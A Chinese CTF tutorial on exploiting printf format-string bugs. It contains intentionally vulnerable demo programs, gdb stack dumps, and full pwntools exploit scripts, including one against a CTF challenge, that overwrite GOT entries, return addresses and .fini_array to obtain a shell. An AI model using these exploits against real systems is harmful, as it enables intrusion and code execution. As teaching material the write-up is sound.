格式化字符串漏洞小結(jié)

格式化字符串漏洞的原理網(wǎng)上資料較多這里就不再進(jìn)行過(guò)多的描述,我們知道在c語(yǔ)言中printf的正確使用方法類似是這種

printf("%s",buf);

但是現(xiàn)實(shí)情況下或許有人偷懶懶便這么寫:

printf(buf);

這便造成了格式化字符串漏洞,這篇文章重點(diǎn)講在不同的情況下格式化字符串漏洞的利用辦法,大致分為以下幾種:

  • 格式化字符串漏洞在棧上的利用
  • 格式化字符串在非棧上的利用

以上兩種情況又可以分成以下的三種情況

  • 任意地址泄露
  • 任意地址寫大數(shù)字
  • 任意地址寫小數(shù)字
  • 格式化字符串漏洞實(shí)現(xiàn)無(wú)限循環(huán)

我們先從最簡(jiǎn)單的說(shuō)起

格式化字符串在棧上的利用

1.任意地址泄露

這里我寫了一個(gè)簡(jiǎn)單的程序來(lái)做演示:

#include<stdio.h>
#include<string.h>
#include<stdlib.h>
int main()
{
    setvbuf(stdout, 0LL, 2, 0LL);
    setvbuf(stdin, 0LL, 2, 0LL);
    char buf[200];
    read(0,buf,200);
    printf(buf);
    return 0;
}

make:

gcc test1.c -o test1

在gdb里面我們將斷點(diǎn)下在printf,stack 30查看棧的情況

0000| 0x7ffcd56ad178 --> 0x40071e (<main+136>:  mov    eax,0x0)
0008| 0x7ffcd56ad180 --> 0xa7024333325 ('%33$p\n')
0016| 0x7ffcd56ad188 --> 0x0 
0024| 0x7ffcd56ad190 --> 0x0 
0032| 0x7ffcd56ad198 --> 0x0 
0040| 0x7ffcd56ad1a0 --> 0x0 
0048| 0x7ffcd56ad1a8 --> 0x0 
0056| 0x7ffcd56ad1b0 --> 0x0 
0064| 0x7ffcd56ad1b8 --> 0x0 
0072| 0x7ffcd56ad1c0 --> 0x0 
0080| 0x7ffcd56ad1c8 --> 0x0 
0088| 0x7ffcd56ad1d0 --> 0x0 
0096| 0x7ffcd56ad1d8 --> 0x0 
0104| 0x7ffcd56ad1e0 --> 0x0 
0112| 0x7ffcd56ad1e8 --> 0x0 
0120| 0x7ffcd56ad1f0 --> 0x0 
0128| 0x7ffcd56ad1f8 --> 0x0 
0136| 0x7ffcd56ad200 --> 0x0 
0144| 0x7ffcd56ad208 --> 0x0 
0152| 0x7ffcd56ad210 --> 0x1 
0160| 0x7ffcd56ad218 --> 0x40078d (<__libc_csu_init+77>:    add    rbx,0x1)
0168| 0x7ffcd56ad220 --> 0x7ffcd56ad24e --> 0x4007407b7d 
0176| 0x7ffcd56ad228 --> 0x0 
0184| 0x7ffcd56ad230 --> 0x400740 (<__libc_csu_init>:   push   r15)
0192| 0x7ffcd56ad238 --> 0x4005a0 (<_start>:    xor    ebp,ebp)
--More--(25/30)
0200| 0x7ffcd56ad240 --> 0x7ffcd56ad330 --> 0x1 
0208| 0x7ffcd56ad248 --> 0x7b7dc4f2d0593b00 
0216| 0x7ffcd56ad250 --> 0x400740 (<__libc_csu_init>:   push   r15)
0224| 0x7ffcd56ad258 --> 0x7f031a15a830 (<__libc_start_main+240>:   mov    edi,eax)
0232| 0x7ffcd56ad260 --> 0x1 

可以看到在0x7ffcd56ad258這個(gè)地方存放著libc_start_main的地址,假設(shè)我們?nèi)绻胍孤哆@個(gè)地方的地址該怎么做呢?工欲善其事必先利其器,我們用Pwngdb自帶的插件來(lái)算以下偏移:

fmtarg 0x7ffcd56ad258
The index of format argument : 34 ("\%33$p")

可以看到為33,我們測(cè)試一下:

   '%33$p\n'
[*] Switching to interactive mode
[DEBUG] Received 0xf bytes:
    '0x7f031a15a830\n'
0x7f031a15a830

可以看到已經(jīng)輸出我們想要的值,以此類推,這樣就可以泄露出我們想要的棧地址的值了

2.任意地址寫

我們已經(jīng)展示了如何利用格式化字符串來(lái)泄露棧內(nèi)存以及任意地址內(nèi)存,那么我們有沒(méi)有可能修改棧上變量的值呢,甚至修改任意地址變量的內(nèi)存呢? 答案是可行的,只要變量對(duì)應(yīng)的地址可寫,我們就可以利用格式化字符串來(lái)修改其對(duì)應(yīng)的數(shù)值。這里我們可以想一下格式化字符串中的類型

%n,不輸出字符,但是把已經(jīng)成功輸出的字符個(gè)數(shù)寫入對(duì)應(yīng)的整型指針參數(shù)所指的變量。
實(shí)現(xiàn)覆蓋小數(shù)字:

這里我們將源程序改變一下,設(shè)置一個(gè)后門

#include<stdio.h>
#include<string.h>
#include<stdlib.h>
int otherbuf[200];
void welcome()
{
    puts("hello!");
}
int main()
{
    setvbuf(stdout, 0LL, 2, 0LL);
    setvbuf(stdin, 0LL, 2, 0LL);
    char buf[200];
    welcome();

    read(0,buf,200);
    printf(buf);
    if(*otherbuf == 0x2)
    {
        system("sh");
    }
}

make

gcc test1.c -m32 -o test2

通過(guò)源程序我們可以看到當(dāng)otherbuf==2 的時(shí)候可以觸發(fā)后門函數(shù)

(ctfwiki)首先,我們來(lái)考慮一下如何修改變量為一個(gè)較小的數(shù)字,比如說(shuō),小于機(jī)器字長(zhǎng)的數(shù)字。這里以 2 為例??赡軙?huì)覺(jué)得這其實(shí)沒(méi)有什么區(qū)別,可仔細(xì)一想,真的沒(méi)有么?如果我們還是將要覆蓋的地址放在最前面,那么將直接占用機(jī)器字長(zhǎng)個(gè) (4 或 8) 字節(jié)。顯然,無(wú)論之后如何輸出,都只會(huì)比 4 大
那么我們應(yīng)該怎么做呢?再仔細(xì)想一下,我們有必要將所要覆蓋的變量的地址放在字符串的最前面么?似乎沒(méi)有,我們當(dāng)時(shí)只是為了尋找偏移,所以才把 tag 放在字符串的最前面,如果我們把 tag 放在中間,其實(shí)也是無(wú)妨的。類似的,我們把地址放在中間,只要能夠找到對(duì)應(yīng)的偏移,其照樣也可以得到對(duì)應(yīng)的數(shù)值。前面已經(jīng)說(shuō)了我們的格式化字符串的為第 6 個(gè)參數(shù)。由于我們想要把 2 寫到對(duì)應(yīng)的地址處,故而格式化字符串的前面的字節(jié)必須是

aa%k$nxx

理論已經(jīng)知道了接下來(lái)我們實(shí)踐一下:
通過(guò)ida我們可以得到otherbuf的地址為:0x804a060
因此我們可以這樣構(gòu)造:

"aa%k$n pading"+p32(otherbuf)

其中k的值需要們動(dòng)態(tài)調(diào)一下:
我們還是在printf處下斷點(diǎn),同時(shí)輸入我們的payload

payload = "aa%7$n"
payload = payload.ljust(8,"a")
payload += p32(0x804a060)

此時(shí)棧:

0000| 0xffce4a8c --> 0x8048608 (<main+116>: add    esp,0x10)
0004| 0xffce4a90 --> 0xffce4aa4 ("aa%7$naa`\240\004\b\n\317\356", <incomplete sequence \367>)
0008| 0xffce4a94 --> 0xffce4aa4 ("aa%7$naa`\240\004\b\n\317\356", <incomplete sequence \367>)
0012| 0xffce4a98 --> 0xc8 
0016| 0xffce4a9c --> 0x80485e0 (<main+76>:  sub    esp,0x4)
0020| 0xffce4aa0 --> 0x0 
0024| 0xffce4aa4 ("aa%7$naa`\240\004\b\n\317\356", <incomplete sequence \367>)
0028| 0xffce4aa8 ("$naa`\240\004\b\n\317\356", <incomplete sequence \367>)
0032| 0xffce4aac --> 0x804a060 --> 0x0 
0036| 0xffce4ab0 --> 0xf7eecf0a (<check_match+218>: adc    al,0x58)
0040| 0xffce4ab4 --> 0x0 
0044| 0xffce4ab8 --> 0xf7f08ad0 --> 0xf7f08a74 --> 0xf7ede470 --> 0xf7f08918 -->0x0

可以看到otherbuf的地址在0xffce4aac位置,我們fmtarg一下看一下這個(gè)位置的偏移:

fmtarg 0xffce4aac
The index of format argument : 8 ("\%7$p")

可以看到偏移為7那我們的payload就不用修改了,我們單步調(diào)試?yán)^續(xù)運(yùn)行
可以看到otherbuf已經(jīng)成功被覆蓋成小數(shù)字2了:

0x804a060 <otherbuf>:   0x00000002  0x00000000  0x00000000  0x00000000

成功獲得shell:

$id
uid=1000(cnitlrt) gid=1000(cnitlrt) 組=1000(cnitlrt),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),113(lpadmin),128(sambashare)
$  
任意地址覆蓋大數(shù)字:

這種在ctf中算是最常見(jiàn)的了,就不再進(jìn)行過(guò)多的敘述,直接看例子,這里為了方便添加了一個(gè)while循環(huán),一會(huì)我們?cè)傺芯慨?dāng)沒(méi)有while循環(huán)的辦法

#include<stdio.h>
#include<string.h>
#include<stdlib.h>
int otherbuf[200];
void backdoor()
{
    system("sh");
}
void welcome()
{
    puts("hello!");
}
int main()
{
    setvbuf(stdout, 0LL, 2, 0LL);
    setvbuf(stdin, 0LL, 2, 0LL);
    char buf[200];
    welcome();
    while(1)
    {
        read(0,buf,200);
        if(!strcmp(buf,"quit\n"))
            break;
        printf(buf);
    }
    
}

make

gcc test1.c -m32 -o test3

通過(guò)ida我們可以得到backdoor的地址,我們只要將printf_got的地址覆蓋為backdoor的地址就能獲取shell了
exp:

#!/usr/bin/env python
# -*- coding: utf-8 -*-
__Author__ = 'cnitlrt'
import sys
import os
from pwn import *
from LibcSearcher import LibcSearcher
#context.log_level = 'debug'

binary = 'test3'
elf = ELF('test3')
libc = elf.libc
context.binary = binary

DEBUG = 1
if DEBUG:
  p = process(binary)
else:
  host = ""
  port =  0
  p = remote(host,port)
o_g = [0x45216,0x4526a,0xf02a4,0xf1147]
l64 = lambda      :u64(p.recvuntil("\x7f")[-6:].ljust(8,"\x00"))
l32 = lambda      :u32(p.recvuntil("\xf7")[-4:].ljust(4,"\x00"))
sla = lambda a,b  :p.sendlineafter(str(a),str(b))
sa  = lambda a,b  :p.sendafter(str(a),str(b))
lg  = lambda name,data : p.success(name + ": 0x%x" % data)
se  = lambda payload: p.send(payload)
sl  = lambda payload: p.sendline(payload)
ru  = lambda a     :p.recvuntil(str(a))
backdoor = 0x080485AB
printf_got = elf.got["printf"]
addr1 = backdoor&0xffff
addr2 = backdoor>>16
payload = "%{}c%{}$hn".format(addr2,17)
payload += "%{}c%{}$hn".format(addr1-addr2,18)
payload = payload.ljust(48,"a")
payload += p32(printf_got+2)+p32(printf_got)
print str(payload)
gdb.attach(p,"b printf\nc")
p.sendline(payload)
p.interactive()

由于直接覆蓋四個(gè)字節(jié)會(huì)很容易崩因此我們選擇兩個(gè)字節(jié)兩個(gè)字節(jié)的覆蓋,計(jì)算偏移的辦法在上一節(jié)已經(jīng)提到這里就不再進(jìn)行過(guò)多的描述

格式化字符串在非棧上的利用:

格式化字符串在非棧上就意味著我們不能像以前直接控制棧上的數(shù)據(jù),來(lái)進(jìn)行任意地址寫,這就為我們的利用造成了一定的難度,因此需要在棧上找一些跳板來(lái)間接進(jìn)行利用,廢話不多說(shuō),直接上例子,我們通過(guò)例子來(lái)進(jìn)行分析

#include<stdio.h>
#include<string.h>
#include<stdlib.h>
char buf[200];
void welcome()
{
    puts("hello!");
}
int main()
{
    setvbuf(stdout, 0LL, 2, 0LL);
    setvbuf(stdin, 0LL, 2, 0LL);
    welcome();
    while(1)
    {
        read(0,buf,200);
        if(!strncmp(buf,"quit\n",5))
            break;
        printf(buf);
    }
    
}

make:

 gcc test1.c  -o test5

首先需要找跳板,我們還是打開(kāi)gdb,將斷點(diǎn)下在printf處,查看棧的數(shù)據(jù):

0000| 0x7ffe16453838 --> 0x40073a (<main+99>:   mov    edx,0x5)
0008| 0x7ffe16453840 --> 0x400770 (<__libc_csu_init>:   push   r15)
0016| 0x7ffe16453848 --> 0x7f10939b7830 (<__libc_start_main+240>:   mov    edi,eax)
0024| 0x7ffe16453850 --> 0x0 
0032| 0x7ffe16453858 --> 0x7ffe16453928 --> 0x7ffe16454227 --> 0x5451003574736574 ('test5')
0040| 0x7ffe16453860 --> 0x100000000 
0048| 0x7ffe16453868 --> 0x4006d7 (<main>:  push   rbp)
0056| 0x7ffe16453870 --> 0x0 
0064| 0x7ffe16453878 --> 0x40c9c30203abe068 
0072| 0x7ffe16453880 --> 0x4005d0 (<_start>:    xor    ebp,ebp)
0080| 0x7ffe16453888 --> 0x7ffe16453920 --> 0x1 
0088| 0x7ffe16453890 --> 0x0 
0096| 0x7ffe16453898 --> 0x0 
0104| 0x7ffe164538a0 --> 0xbf35ef087debe068 
0112| 0x7ffe164538a8 --> 0xbee8e4b4e29be068 
0120| 0x7ffe164538b0 --> 0x0 
0128| 0x7ffe164538b8 --> 0x0 
0136| 0x7ffe164538c0 --> 0x0 
0144| 0x7ffe164538c8 --> 0x7ffe16453938 --> 0x7ffe1645422d ("QT_QPA_PLATFORMTHEME=appmenu-qt5")
0152| 0x7ffe164538d0 --> 0x7f1093f88168 --> 0x0 

通過(guò)gdb我們將跳板選在0x7ffe16453858這個(gè)位置,為什么要選擇這個(gè)位置呢?

我們可以很清楚的看到這個(gè)位置還存著棧上的另外一個(gè)地址,仔細(xì)回想一下,當(dāng)格式化字符串在棧上的時(shí)候我們是直接將我們要覆蓋的地址寫在棧上,然后通過(guò)$n來(lái)修改其內(nèi)容,通過(guò)類比,我們可以將0x7ffe16453858中存的棧地址類比成目標(biāo)地址,然后間接對(duì)其內(nèi)容進(jìn)行操作

我們還可以看到在0x7ffe16453848這個(gè)位置存著libc_start_main的地址,因此可以直接通過(guò)任意地址讀來(lái)leak出libc的地址
找到跳板了,leak出libc的地址來(lái)了,那接下來(lái)呢?
接下來(lái)就是跳板的利用了

我們現(xiàn)在假設(shè)0x7ffe16453858這個(gè)為fmt9,其所存的地址為fmt35,那我們就可以通過(guò)對(duì)fmt9的操作來(lái)間接改變fmt35的內(nèi)容,使其指向別的地方,這里我們選擇其指向存儲(chǔ)返回地址的地方,設(shè)其為ret_addr,因?yàn)橹苯邮褂?n的話很容易崩,而且很容易發(fā)現(xiàn)這兩個(gè)地址只有后兩個(gè)字節(jié)有所差異,因此我們只需要覆蓋后兩個(gè)字節(jié)就好,此時(shí)fmt35里面存著ret_addr,那我們通過(guò)對(duì)fmt35操作就可以改變r(jià)et_addr的內(nèi)容,即改變返回地址,我們可以將他變?yōu)閛ne_gadget,光說(shuō)不做假把式,接下來(lái)就一起跟一跟

第一步:leak地址:

payload = "%7$p"
p.recv()
p.sendline(payload)
ru("0x")
libc_base = int(p.recv(12),16)-240-libc.sym["__libc_start_main"]
lg("libc_base",libc_base)
one = libc_base+o_g[0]
lg("one",one)
payload = "%9$p"
p.sendline(payload)
ru("0x")
fmt35 = int(p.recv(12),16)
fmt9 = fmt35-0xd0
ret_addr = fmt9-0x10

第二步:ret_addr改為one_gadget
因?yàn)閛ne_gadget的地址和返回地址有三個(gè)字節(jié)的差異,因此我們先改倒數(shù)第三個(gè)字節(jié):

payload = "%{}c%{}$hn".format((ret_addr+2)&0xffff,9)
p.sendline(payload)
payload = "%{}c%{}$hhn".format((one>>16)&0xff,35)
p.sendline(payload)

修改之前的棧:

0000| 0x7ffe90bf09c8 --> 0x400761 (<main+138>:  jmp    0x400721 <main+74>)
0008| 0x7ffe90bf09d0 --> 0x400770 (<__libc_csu_init>:   push   r15)
0016| 0x7ffe90bf09d8 --> 0x7fa5d3fc6830 (<__libc_start_main+240>:   mov    edi,eax)
0024| 0x7ffe90bf09e0 --> 0x1 
0032| 0x7ffe90bf09e8 --> 0x7ffe90bf0ab8 --> 0x7ffe90bf1227 --> 0x5451003574736574 ('test5')
0040| 0x7ffe90bf09f0 --> 0x1d4595ca0 
0048| 0x7ffe90bf09f8 --> 0x4006d7 (<main>:  push   rbp)
0056| 0x7ffe90bf0a00 --> 0x0 
0064| 0x7ffe90bf0a08 --> 0x6a15ab5a1afa311b 
0072| 0x7ffe90bf0a10 --> 0x4005d0 (<_start>:    xor    ebp,ebp)
0080| 0x7ffe90bf0a18 --> 0x7ffe90bf0ab0 --> 0x1 
0088| 0x7ffe90bf0a20 --> 0x0 
0096| 0x7ffe90bf0a28 --> 0x0 
0104| 0x7ffe90bf0a30 --> 0x95e88aa407da311b 
0112| 0x7ffe90bf0a38 --> 0x955e0c22dbca311b 
0120| 0x7ffe90bf0a40 --> 0x0 
0128| 0x7ffe90bf0a48 --> 0x0 
0136| 0x7ffe90bf0a50 --> 0x0 
0144| 0x7ffe90bf0a58 --> 0x7ffe90bf0ac8 --> 0x7ffe90bf122d ("QT_QPA_PLATFORMTHEME=appmenu-qt5")
0152| 0x7ffe90bf0a60 --> 0x7fa5d4597168 --> 0x0 

修改之后的棧:

0000| 0x7ffe45c644d8 --> 0x40073a (<main+99>:   mov    edx,0x5)
0008| 0x7ffe45c644e0 --> 0x400770 (<__libc_csu_init>:   push   r15)
0016| 0x7ffe45c644e8 --> 0x7f40f210d830 (<__GI___printf_fp_l+864>:  add    BYTE PTR [rax],al)
0024| 0x7ffe45c644f0 --> 0x1 
0032| 0x7ffe45c644f8 --> 0x7ffe45c645c8 --> 0x7ffe45c644ea --> 0x100007f40f210 
0040| 0x7ffe45c64500 --> 0x100000002 
0048| 0x7ffe45c64508 --> 0x4006d7 (<main>:  push   rbp)
0056| 0x7ffe45c64510 --> 0x0 
0064| 0x7ffe45c64518 --> 0x83b39a71ccda3cf2 
0072| 0x7ffe45c64520 --> 0x4005d0 (<_start>:    xor    ebp,ebp)
0080| 0x7ffe45c64528 --> 0x7ffe45c645c0 --> 0x1 
0088| 0x7ffe45c64530 --> 0x0 
0096| 0x7ffe45c64538 --> 0x0 
0104| 0x7ffe45c64540 --> 0x7c4f117d4bda3cf2 
0112| 0x7ffe45c64548 --> 0x7d327eea6dea3cf2 
0120| 0x7ffe45c64550 --> 0x0 
0128| 0x7ffe45c64558 --> 0x0 
0136| 0x7ffe45c64560 --> 0x0 
0144| 0x7ffe45c64568 --> 0x7ffe45c645d8 --> 0x7ffe45c6522d ("QT_QPA_PLATFORMTHEME=appmenu-qt5")
0152| 0x7ffe45c64570 --> 0x7f40f26ae168 --> 0x0 

可以很清楚的看到存放的返回地址已經(jīng)改變(因?yàn)槲议_(kāi)啟了地址隨機(jī)化因此每次加載時(shí)的地址不一樣,具體要根據(jù)自己的機(jī)器為準(zhǔn))
同理可以改變r(jià)et_addr的后兩個(gè)字節(jié)

while True:
        p.sendline("cnitlrt")
        sleep(0.2)
        data = p.recv()
        if data.find("cnitlrt") != -1:
            break
payload = "%{}c%{}$hn".format(ret_addr&0xffff,9)
p.sendline(payload)
while True:
        p.sendline("cnitlrt")
        sleep(0.2)
        data = p.recv()
        if data.find("cnitlrt") != -1:
            break
payload = "%{}c%{}$hn".format(one&0xffff,35)
p.sendline(payload)

這里的一段while,是因?yàn)檩敵龅膶?shí)在太多了recv()每次只能接受0x1000的內(nèi)容,如果沒(méi)有循環(huán)的話會(huì)卡住。用一個(gè)標(biāo)識(shí)符做接受完成標(biāo)志

0000| 0x7ffec6a1b558 --> 0x40073a (<main+99>:   mov    edx,0x5)
0008| 0x7ffec6a1b560 --> 0x400770 (<__libc_csu_init>:   push   r15)
0016| 0x7ffec6a1b568 --> 0x7fc91fda2216 (<do_system+1014>:  lea    rsi,[rip+0x381343]        # 0x7fc920123560 <intr>)
0024| 0x7ffec6a1b570 --> 0x1 
0032| 0x7ffec6a1b578 --> 0x7ffec6a1b648 --> 0x7ffec6a1b568 --> 0x7fc91fda2216 (<do_system+1014>:    lea    rsi,[rip+0x381343]        # 0x7fc920123560 <intr>)
0040| 0x7ffec6a1b580 --> 0x100000002 
0048| 0x7ffec6a1b588 --> 0x4006d7 (<main>:  push   rbp)
0056| 0x7ffec6a1b590 --> 0x0 
0064| 0x7ffec6a1b598 --> 0x79020a71114123f7 
0072| 0x7ffec6a1b5a0 --> 0x4005d0 (<_start>:    xor    ebp,ebp)
0080| 0x7ffec6a1b5a8 --> 0x7ffec6a1b640 --> 0x1 
0088| 0x7ffec6a1b5b0 --> 0x0 
0096| 0x7ffec6a1b5b8 --> 0x0 
0104| 0x7ffec6a1b5c0 --> 0x86ff87b2754123f7 
0112| 0x7ffec6a1b5c8 --> 0x8690355eb07123f7 
0120| 0x7ffec6a1b5d0 --> 0x0 
0128| 0x7ffec6a1b5d8 --> 0x0 
0136| 0x7ffec6a1b5e0 --> 0x0 
0144| 0x7ffec6a1b5e8 --> 0x7ffec6a1b658 --> 0x7ffec6a1c22d ("QT_QPA_PLATFORMTHEME=appmenu-qt5")
0152| 0x7ffec6a1b5f0 --> 0x7fc92034e168 --> 0x0 

可以看到返回地址已經(jīng)修改為one_gadget,接下來(lái)只要退出就可以或的shell了

p.sendline("\x00"*200)
sleep(1)
p.sendline("quit")

"\x00"*200是為了重置buf內(nèi)容,為了后面順利執(zhí)行ret
完整exp:

#!/usr/bin/env python
# -*- coding: utf-8 -*-
__Author__ = 'cnitlrt'
import sys
import os
from pwn import *
from LibcSearcher import LibcSearcher
# context.log_level = 'debug'

binary = 'test5'
elf = ELF('test5')
libc = elf.libc
context.binary = binary

DEBUG = 1
if DEBUG:
  p = process(binary)
else:
  host = ""
  port =  0
  p = remote(host,port)
o_g = [0x45216,0x4526a,0xf02a4,0xf1147]
l64 = lambda      :u64(p.recvuntil("\x7f")[-6:].ljust(8,"\x00"))
l32 = lambda      :u32(p.recvuntil("\xf7")[-4:].ljust(4,"\x00"))
sla = lambda a,b  :p.sendlineafter(str(a),str(b))
sa  = lambda a,b  :p.sendafter(str(a),str(b))
lg  = lambda name,data : p.success(name + ": 0x%x" % data)
se  = lambda payload: p.send(payload)
sl  = lambda payload: p.sendline(payload)
ru  = lambda a     :p.recvuntil(str(a))
payload = "%7$p"
p.recv()
p.sendline(payload)
ru("0x")
libc_base = int(p.recv(12),16)-240-libc.sym["__libc_start_main"]
lg("libc_base",libc_base)
one = libc_base+o_g[0]
lg("one",one)
payload = "%9$p"
p.sendline(payload)
ru("0x")
fmt35 = int(p.recv(12),16)
fmt9 = fmt35-0xd0
ret_addr = fmt9-0x10
payload = "%{}c%{}$hn".format((ret_addr+2)&0xffff,9)
p.sendline(payload)
payload = "%{}c%{}$hhn".format((one>>16)&0xff,35)
p.sendline(payload)
while True:
        p.sendline("cnitlrt")
        sleep(0.2)
        data = p.recv()
        if data.find("cnitlrt") != -1:
            break
payload = "%{}c%{}$hn".format(ret_addr&0xffff,9)
p.sendline(payload)
while True:
        p.sendline("cnitlrt")
        sleep(0.2)
        data = p.recv()
        if data.find("cnitlrt") != -1:
            break
payload = "%{}c%{}$hn".format(one&0xffff,35)
p.sendline(payload)
p.sendline("\x00"*200)
sleep(1)
p.sendline("quit")
# gdb.attach(p,"b printf\nc")
p.interactive()

格式化字符串漏洞實(shí)現(xiàn)無(wú)限循環(huán)

這里我們引用一張經(jīng)典的圖:
1531897940817.png!small.jpg

簡(jiǎn)單地說(shuō),在main函數(shù)前會(huì)調(diào)用.init段代碼和.init_array段的函數(shù)數(shù)組中每一個(gè)函數(shù)指針。同樣的,main函數(shù)結(jié)束后也會(huì)調(diào)用.fini段代碼和.fini._arrary段的函數(shù)數(shù)組中的每一個(gè)函數(shù)指針 ,而我們的目標(biāo)就是修改.fini_array數(shù)組的第一個(gè)元素為start。需要注意的是,這個(gè)數(shù)組的內(nèi)容在再次從start開(kāi)始執(zhí)行后又會(huì)被修改,且程序可讀取的字節(jié)數(shù)有限,因此需要一次性修改兩個(gè)地址并且合理調(diào)整payload
----ichunqiu

上例子:ciscn_2019_sw_1
通過(guò)ida反編譯我們可以看到:

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char format; // [esp+0h] [ebp-48h]

  setvbuf(stdin, 0, 2, 0);
  setvbuf(stdout, 0, 2, 0);
  puts("Welcome to my ctf! What's your name?");
  __isoc99_scanf("%64s", &format);
  printf("Hello ");
  printf(&format);
  return 0;
}

沒(méi)有了while循環(huán),因此我們劫持fini_array數(shù)組并把printf劫持為system
具體payload:

payload = p32(fini_array)
payload += p32(fini_array+2)
payload += p32(elf.got["printf"])
payload += p32(elf.got["printf"]+2)
payload += "%{}c%4$hn%{}c%5$hn%{}c%6$hn%{}c%7$hn".format(main1-16,main2+0x10000-main1,sys1-main2,sys2+0x10000-sys1)

完整exp:

#!/usr/bin/env python
# -*- coding: utf-8 -*-
import sys
import os
from pwn import *
from LibcSearcher import LibcSearcher
#context.log_level = 'debug'

binary = 'ciscn_2019_sw_1'
elf = ELF('ciscn_2019_sw_1')
libc = elf.libc
context.binary = binary

DEBUG = 1
if DEBUG:
  p = process(binary)
else:
  host = "node3.buuoj.cn"
  port =  28161
  p = remote(host,port)
o_g = [0x4f2c5,0x4f322,0x10a38c]
l64 = lambda      :u64(p.recvuntil("\x7f")[-6:].ljust(8,"\x00"))
l32 = lambda      :u32(p.recvuntil("\xf7")[-4:].ljust(4,"\x00"))
sla = lambda a,b  :p.sendlineafter(str(a),str(b))
sa  = lambda a,b  :p.sendafter(str(a),str(b))
lg  = lambda name,data : p.success(name + ": 0x%x" % data)
se  = lambda payload: p.send(payload)
sl  = lambda payload: p.sendline(payload)
ru  = lambda a     :p.recvuntil(str(a))
fini_array = 0x0804979C
sys_addr = 0x80483d0
main_addr = 0x08048534
sys1 = sys_addr&0xffff
sys2 = sys_addr>>16
main1 = main_addr&0xffff
main2 = (main_addr>>16)
# main2 = main2-1
payload = p32(fini_array)
payload += p32(fini_array+2)
payload += p32(elf.got["printf"])
payload += p32(elf.got["printf"]+2)
payload += "%{}c%4$hn%{}c%5$hn%{}c%6$hn%{}c%7$hn".format(main1-16,main2+0x10000-main1,sys1-main2,sys2+0x10000-sys1)
p.sendline(payload)
p.interactive()

總結(jié):

格式化字符串雖然簡(jiǎn)單但熟練的利用可以在解題中收獲意想不到的效果

最后編輯于
?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請(qǐng)聯(lián)系作者
【社區(qū)內(nèi)容提示】社區(qū)部分內(nèi)容疑似由AI輔助生成,瀏覽時(shí)請(qǐng)結(jié)合常識(shí)與多方信息審慎甄別。
平臺(tái)聲明:文章內(nèi)容(如有圖片或視頻亦包括在內(nèi))由作者上傳并發(fā)布,文章內(nèi)容僅代表作者本人觀點(diǎn),簡(jiǎn)書系信息發(fā)布平臺(tái),僅提供信息存儲(chǔ)服務(wù)。

相關(guān)閱讀更多精彩內(nèi)容

友情鏈接更多精彩內(nèi)容